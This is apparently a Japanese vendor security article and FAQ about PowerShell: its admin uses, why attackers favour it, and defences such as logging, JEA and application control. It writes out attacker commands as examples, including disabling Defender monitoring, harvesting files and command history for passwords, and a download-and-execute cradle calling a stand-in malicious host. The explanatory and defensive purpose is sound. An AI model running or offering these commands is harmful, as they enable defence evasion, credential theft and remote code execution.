Windows PowerShellは、タスクの自動化や構成管理のための強力なスクリプト言語およびコマンドラインシェルです。このガイドでは、システム管理やセキュリティにおける役割を含め、PowerShellの機能と能力を探ります。
一般的な PowerShell コマンド、スクリプト作成のベストプラクティス、サイバーセキュリティ目的での PowerShell の活用方法について学びましょう。PowerShell を理解することは、IT プロフェッショナルやセキュリティ担当者にとって不可欠です。
 
 PowerShellは企業の貴重な資産にどのような影響を与える可能性があるのか?PowerShellの基本、ハッカーにとって魅力的な理由、そして企業を保護する方法について学びましょう
Microsoft PowerShellは、タスクの自動化やWindowsベースのシステム管理に使用されるコマンドラインシェルおよびスクリプト言語です。管理者やセキュリティ専門家が日常業務の自動化、システムの管理・監視、セキュリティインシデントへの対応自動化に広く活用しています。攻撃者はしばしばPowerShellを利用してシステムへの不正アクセスを得て、悪意のあるコードを実行します。
Microsoft PowerShell は 2006 年から Windows で利用可能でしたが、現在では Windows 10 のファイル エクスプローラーのコマンド シェルとして採用され、従来の cmd.exe ツールをほぼ置き換えています。一般ユーザーには難解と見なされることが多いものの、PowerShellはその柔軟性と強力な機能から、ITチームやネットワーク管理者にとって不可欠な存在となっています。この入門ガイドでは、PowerShellの基本、ハッカーやマルウェア作成者にとって魅力的な理由、そして組織を保護するためにできることを解説します。
お好みのバージョンを選択
Cortanaの検索フィールドに‘PowerShell」と入力すると、いくつかの選択肢が表示されます。PowerShell ISE と PowerShell Desktop アプリです。さらに、スタートメニューまたはいずれかの PowerShell タスクバーアイコンを右クリックすると、PowerShell のいずれかのバージョンを起動する 2 つの異なる方法が表示されます:現在のユーザーとして、または管理者としてです。
 
 一般的なタスクの自動化を希望する管理者は、ISEインターフェースを使用してPowerShellモジュールやスクリプトを開発する可能性が高いですが、対話的な使用では、ほとんどの管理者がPowerShellデスクトップアプリを選択し、タスクに応じて管理者または現在のユーザーとして実行します。
また、PowerShell Coreについても耳にするかもしれません。これはクロスプラットフォームのオープンソース版で、WindowsだけでなくLinuxやmacOSでも動作します:
 
 ただし、これは署名のないバイナリとしてインストールされるため、悪意のある偽者に簡単に置き換えられる可能性があることに注意してください。PowerShell Coreを使用するエンドポイントがある場合は、組織が適切な証明書で署名するか、定期的なshaチェックを実行して改ざんされていないことを確認してください。
PowerShellの各バージョンには機能面で若干の違いがありますが、いずれもSSH経由でリモートセッションを実行し、様々なプロセスやサービスとやり取りすることができます。PowerShellはWindowsレジストリやイベントログともやり取りが可能です。つまり、PowerShellへのアクセス権を持つ攻撃者は、同等のアクセス権と利点を享受できるということです。
真の力を解き放つ
PowerShellの能力は、次の2つの簡単なコマンドでその一端を垣間見ることができます:
Get-Module -ListAvailable
利用可能なモジュールの一覧を表示するコマンドと、
Get-Command
利用可能なコマンドの一覧を表示します:
 
 いくつかの例を簡単に見てみましょう。たとえば、あなた(または攻撃者)がドキュメントのディレクトリ内を移動していて、その中に何か興味深いものがあるかどうかを素早く確認したいとします。次のようなコマンドを実行すると、ディレクトリ内のすべてのテキストファイルの最初と最後の2行を出力します。このコマンドは再帰的に子ディレクトリを辿り、隠しファイルや不可視ファイルも含め、出力を別のテキストファイルにパイプして後で閲覧や取得できるようにします:Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log&
もし誰かが「Confidential」で始まる文書や、作成者の役職名(例:「Chief Financial Officer」)で終わる文書を探している場合、これは関心のある項目を列挙する「手っ取り早い方法」となり得ます。
侵入の痕跡を消すために項目を削除するのは、単に以下の操作を行うだけです。
Remove-Item <path>
PowerShellはまた、興味深く、残念ながら危険な方法でオペレーティングシステムを操作することをユーザーに許可します。マルウェアの作成者が、プリインストールされているMicrosoft DefenderAVエンジンを回避したい場合、適切な権限でPowerShellコマンドを実行すれば無効化できます:
Set-MpPreference -DisableRealTimeMonitoring $true
あるいは、より巧妙に、検索パスから特定のドライブやパスを除外することも可能です:
Add-MpPreference -ExclusionPath "c:"
PowerShellは攻撃者がネットワークドライブの列挙やイベントログの呼び出しを簡単に行えるようにします。これはGet-PSDriveおよび Get-EventLog をそれぞれ使用することで実現できます。
 
 ユーザーと悪意のある行為者の双方にとって便利なツールは、コマンドラインで対話的に入力されたコマンドの履歴(引数を含む)を読み取る機能です。履歴はこのコマンドで出力されるパスに保存されます:
(Get-PSReadLineOption).HistorySavePath
そして cat や Select-Stringコマンドレット(またはそのエイリアス sls)を使用して、効果的に「grep」を実行できます。またはコマンド内の特定項目(例えば パスワード! のようなもの)を検索できます:
 
 スクリプトとエクスプロイトキット
しかし、コマンドライン上でPowerShellを操作すること自体が、悪意ある攻撃者にとって最大の脅威となるわけではありません。より危険なのは、PowerShellがスクリプトをメモリ内(別名「ファイルレス」マルウェア攻撃)とディスクからの両方でスクリプトを実行する能力です。いずれもホスト上で直接、またはリモートで実行可能です。&
Unixシェルにおけるevalコマンドと同様に、PowerShellにはInvoke-Expression(およびその別名 iex)を備えており、これにより悪意のあるスクリプトをダウンロードしてメモリ内で実行することが可能になります。制限された実行ポリシーを回避しようと試みるために Bypass を追加できます:&
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
当然ながら、PowerShellの潜在能力を最大限に活用する完全なエクスプロイトフレームワークが登場するまで、そう時間はかかりませんでした。
その筆頭がPowerSploitであり、これは被害者のマシンを操作・制御するのに役立つPowerShellスクリプトの集合体である。

PowerShell Empire は、PowerSploit やその他の複数のプロジェクトの成果を基盤として構築されたポストエクスプロイトツールであり、ネットワーク検知を回避し、キーロガーを実行し、Mimikatz などのモジュールを実行し、平文パスワード、パスワードハッシュ、その他のデータをメモリから直接抽出します。

PowerShell攻撃の台頭
他の種類のWindows ファイル、.exe、.bat、.wsf、および.LNK ファイルは、近年PowerShellベースのマルウェアが増加している理由の一つです。ある推定値PowerShellの脆弱性を悪用した攻撃がマルウェアインシデントの約40%を占めるとする主張もあり、攻撃者がランサムウェアからランサムウェアから認証情報窃取およびバンキング型トロイの木馬。PowerShellはクリック詐欺、パスワード盗聴、データ流出にも関与している。
DNSMessengerは、Word文書のマクロ内で拡散が確認されたマルウェアです。VBAソースコードを巧妙に利用し、エンコードされたPowerShellコマンドを配信することで、永続化、ペイロードの配信、C&Cサーバーとの通信を実現します。
驚くべきことに、一部のPowerShell攻撃では組み込みのPowerShell.exeすら必要としません。PowerShdllや InsecurePowerShellは、PowerShellバイナリの下位にあるSystem.Management.Automation.dllを活用することで、スクリプトを直接実行できます。つまり、PowerShell実行ファイルは、ダイナミックリンクライブラリ内の実際のコードに対する単なるホストまたはラッパーに過ぎません。攻撃者はこの仕組みを利用し、実質的に任意のプロセスにPowerShellスクリプトやコマンドを実行させることが可能です。
PowerShellの他の創造的な活用例としては、PNGファイルのピクセル内にPowerShellスクリプトを埋め込み、Invoke-PSImage を使用して実行するためのワンライナーを生成したり、PS2EXEなどのツールでPowerShellスクリプトをEXEファイルに変換する方法などがあります。
PowerShellの管理
以上のことから、単純にPowerShell.exeをブロックするだけでは無意味であり、PowerShellの機能に依存するシステム管理者にとって大きな負担となることは言うまでもありません。重要なのは、PowerShellとその基盤となるDLLがWindowsオペレーティングシステムの不可欠な部分であり、PowerShell Coreの登場により、その機能がクロスプラットフォーム管理の機会にも拡大していることを理解することが重要です。
PowerShellの二重性を効果的に扱う企業向けソリューションとして、SentinelOneのようなエンドポイント上で実行されるプロセスの動作を監視する手法が有効です。これは、マルウェア攻撃の実装方法に関わらず、プロセスが類似した動作を示すためです。SentinelOneエージェントは、エージェント上の全活動を監視し、悪意のある活動と無害な活動を区別します。エージェントは既に完全なコンテキスト(ユーザー、プロセス、コマンドライン引数、レジストリ、ディスク上のファイル、外部通信)を保持しているため、悪意のある活動は発生源に関わらず軽減できます。
この記事が気に入りましたか? LinkedIn、 Twitter、YouTube、Facebook で投稿コンテンツをご覧ください。
Windows セキュリティの詳細はこちら
- Hancitorバンキング型トロイの木馬が再登場 | 悪意のあるWord添付ファイルを使用
- SentinelOne、PowerShell CryptoWormの新亜種を検知・ブロック
- Windows 10の新ファイル形式が悪意のあるアプリケーション実行に悪用される可能性
Windows PowerShell FAQ
Windows PowerShell は、.NET Framework 上に構築された Microsoft のコマンドラインシェルおよびスクリプト言語です。ファイルシステム、レジストリ、サービスの管理などのタスクを自動化するためのシンプルな動詞と名詞で構成されるコマンドであるコマンドレットを使用できます。
PowerShell はプレーンテキストではなくオブジェクトを処理および返すため、構造化されたデータを 1 つのコマンドレットから次のコマンドレットにパイプで送ることができます。また、リモート操作、モジュール、システム管理のためのコンソール内ヘルプもサポートしています。
従来のCMDとは異なり、PowerShellは動詞-名詞形式のコマンドレットを使用し、テキストストリームではなく.NETオブジェクトを操作します。これにより、テキストを解析せずにパイプライン経由でコマンドを連鎖できます。PowerShellスクリプトは.NET APIを直接呼び出せ、より高度なエラー処理を提供し、モジュールをサポートします。
従来のシェルはプレーンテキストと基本的なバッチスクリプトのみを扱いますが、PowerShellは自動化と構成のための完全なスクリプト環境を提供します。
PowerShellの深いシステム統合性と強力なスクリプト機能は、管理者にも攻撃者にも好まれる理由です。脅威アクターは検出回避のため、メモリ上でスクリプトを実行するファイルレス手法を用います。
PowerShellはディスクにアクセスすることなく、防御機能を無効化したり、悪意のあるコードをダウンロードしたり、認証情報を窃取したりできます。Windowsにおけるその普遍性から、防御側はPowerShellの活動を高リスクと見なし、悪用がないか厳重に監視する必要があります。
Ciscoの調査では、エンドポイントにおける重大なセキュリティ脅威の3分の1以上にPowerShellが関与していました。Carbon Blackの報告では、インシデントの38%でPowerShellの悪用が確認されており、横方向の移動や認証情報の窃取といったエクスプロイト後の行動で頻繁に利用されていました。
通常の使用頻度は低いものの、確認された悪意のある遭遇事例の約14件に1件でPowerShellが検出されています。
PowerShellの全ログ記録を有効化:モジュールログ、スクリプトブロックログ、文字起こし。ログサイズを最低150MBに設定し、
Microsoft-Windows-PowerShell/Operational および PowerShellCore/Operational からイベントを収集。ログをSIEMまたはXDRにフィードする。信頼できない親からのスクリプトをブロックし、実行ポリシーを署名付きスクリプトのみに制限する。詳細情報を得るために保護されたイベントログを有効にする。
JEA(Just Enough Administration)を使用して、承認されたコマンドレットのみへのユーザー限定アクセスを制限します。制約付き言語モードを適用し、COM、WMI、および複雑な式を無効化します。アプリケーション制御ポリシー(例:WDAC)を展開し、署名付きスクリプトをホワイトリストに登録します。
PowerShell を v5.1 以降に更新します。ログ設定を定期的に確認・調整し、すべてのスクリプト呼び出しが記録されるようにします。
PowerShellを完全にブロックすると、システム管理やリモート管理が機能しなくなる可能性があります。Microsoftは完全な削除を推奨しません。代わりに、実行を権限のある管理者に制限し、アプリケーション制御を実施し、Officeアプリなどの信頼できない親プロセス下でのPowerShell起動を制限してください。
ログ記録と監視と組み合わせることで、これらの制御は正当な操作を妨げることなく、ほとんどの悪意のある使用を阻止します。
PowerShellは防御担当者がインシデント対応を自動化し、迅速にフォレンジックデータを収集し、脅威をハンティングすることを可能にします。レジストリアーティファクト、プロセスリスト、ネットワーク接続を数分で収集するスクリプトを作成できます。また、多くのポストエクスプロイトツール(Empire、Cobalt Strike)が内部でPowerShellを使用しているため、PowerShellを学ぶことで攻撃者の手法を理解するのにも役立ちます。
PowerShellスクリプトは、トリアージのためにライブメモリ、レジストリ実行キー、イベントログ、ネットワークデータを収集できます。DFIR-Scriptのようなコミュニティツールは、エンドポイント全体での証拠収集を自動化します。ハンターはPowerShellを使用してWindowsイベントID 4104をクエリし、悪意のあるスクリプトブロックを検出、出力を解析し、結果をSOARプレイブックにフィードします。これにより、PowerShellは検知、封じ込め、修復ワークフローの中核を成す存在となります。

